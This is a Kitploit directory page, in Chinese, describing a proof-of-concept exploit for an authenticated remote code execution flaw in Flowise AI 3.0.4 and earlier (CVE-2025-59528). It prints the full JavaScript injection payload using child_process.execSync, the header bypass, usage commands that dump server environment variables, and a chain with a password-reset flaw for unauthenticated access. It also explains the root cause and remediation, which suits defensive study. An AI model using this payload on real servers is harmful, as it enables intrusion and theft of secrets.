Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Flowise-RCE-CVE-2025-59528 — 针对 CVE-2025-59528 的 Python PoC 漏洞利用,通过 customMCP 端点和 Node.js child_process.execSync 在 Flowise AI <= 3.0.4 上实现经过身份验证的 RCE。 | Kitploit
工具/GitHubGitHub/arensballiu/flowise-rce-cve-2025-59528
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试红队Payload 开发
GitHubarensballiu/flowise-rce-cve-2025-59528

Flowise-RCE-CVE-2025-59528

针对 CVE-2025-59528 的 Python PoC 漏洞利用,通过 customMCP 端点和 Node.js child_process.execSync 在 Flowise AI <= 3.0.4 上实现经过身份验证的 RCE。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
1231个月前尚未审核
分享

CVE-2025-59528 - Flowise AI 认证远程代码执行(RCE)

概述

CVE ID: CVE-2025-59528
受影响软件: Flowise AI
受影响版本: <= 3.0.4
修复版本: 3.0.5 及更高版本
严重程度: 严重
作者: arensballiu
日期: 2025

描述

Flowise AI 3.0.4 及以下版本允许已认证用户通过向 /api/v1/node-load-method/customMCP 端点发送精心构造的 JavaScript 载荷,在主机服务器上实现远程代码执行(RCE)。

customMCP 节点的加载方法接受用户控制的输入,并在服务端将其作为 JavaScript 执行,且缺乏充分的清理或沙箱隔离。通过注入利用 Node.js 的 child_process.execSync 的载荷,攻击者可以以 Flowise 服务器进程的权限运行任意操作系统命令。

该端点还要求请求中包含 x-request-from: internal 请求头。

受影响端点

端点方法是否需要认证用途
/api/v1/auth/loginPOST否认证并获取会话
/api/v1/node-load-method/customMCPPOST是(会话 cookie)存在漏洞的节点加载方法端点

概念验证

文件: CVE-2025-59528_POC.py

要求

  • Python 3.x
  • requests 库
  • 目标 Flowise 实例上任意用户账户的有效凭据
pip install requests

用法

python3 CVE-2025-59528_POC.py -e <email> -i <target_url> -p <password> -c <command>

参数

标志长格式是否必需描述
-e--email是已认证用户的电子邮件地址
-i--url是Flowise 实例的基础 URL
-p--password是已认证用户的密码
-c--cmd是要在服务器上执行的操作系统命令

示例

验证代码执行:

python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "id"

获取服务器环境变量:

python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "env"

预期输出

[+] Logged in
[+] Exploit sent
[+] Status: 200

Payload 解析

该漏洞利用会将以下 JavaScript 表达式注入到 mcpServerConfig 字段中:

({x:(function(){
    const cp = process.mainModule.require('child_process');
    cp.execSync('<command>');
    return 1;
})()})
  • process.mainModule.require('child_process') - 加载 Node.js 内置的进程执行模块。
  • execSync('<command>') - 同步执行攻击者提供的操作系统命令。
  • 整个表达式被包裹在一个对象字面量中,以确保它能在服务器的 JavaScript 上下文中顺利求值。

请求中还附加了 x-request-from: internal 请求头,以通过原本会阻止该调用的内部来源检查。

根本原因

customMCP 端点将用户提供的输入直接传入服务器上的 JavaScript 求值上下文,既未进行清理,也未进行沙箱隔离。再加上可通过 process.mainModule.require 不受限制地访问 Node.js 核心模块(特别是 child_process),这就构成了一个可轻易利用的 RCE 攻击向量。x-request-from 请求头检查并未提供任何有意义的安全边界,因为它没有针对任何可信来源进行验证。

与 CVE-2025-58434 的链式利用

这两个漏洞可以链式组合,形成针对运行 <= 3.0.4 版本的 Flowise 实例的未认证 RCE 攻击路径:

  1. 使用 CVE-2025-58434 重置任意已知账户的密码(无需事先认证)。
  2. 使用新设置的凭据登录。
  3. 使用 CVE-2025-59528 在服务器上执行任意操作系统命令。

修复建议

  • 升级到 Flowise AI 3.0.5 或更高版本,该版本移除了存在漏洞的求值路径或对其进行了适当的沙箱隔离。
  • 切勿在服务器端上下文中将用户控制的字符串作为代码求值。
  • 通过适当的沙箱(例如 vm2、隔离上下文,或移除对 process.mainModule 的访问)限制对危险 Node.js 模块(child_process、fs 等)的访问。
  • 通过服务器端机制而非简单的字符串检查来验证和认证 x-request-from 请求头。
  • 对 Flowise 服务器进程应用最小权限原则。

免责声明

本概念验证仅出于教育和经授权的安全研究目的提供。在未获得明确书面许可的情况下对系统使用此脚本是非法的,也是不道德的。作者和贡献者对任何滥用行为不承担任何责任。

下载工具